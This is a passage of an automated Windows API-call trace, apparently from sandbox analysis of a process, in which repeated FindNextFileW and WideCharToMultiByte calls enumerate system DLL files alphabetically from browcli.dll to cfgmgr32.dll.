lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.937] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.937] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.937] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0xa9c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0136.937] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0xa9c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0136.937] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.937] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.938] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0xa9c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0136.938] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.938] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.938] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.938] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.938] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0xa9c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0136.938] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.938] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.939] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0xa9c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0136.939] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.939] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0xa9c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0136.939] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0xa9c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0136.939] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.939] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0xa9c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0136.939] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.939] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.940] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0136.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, 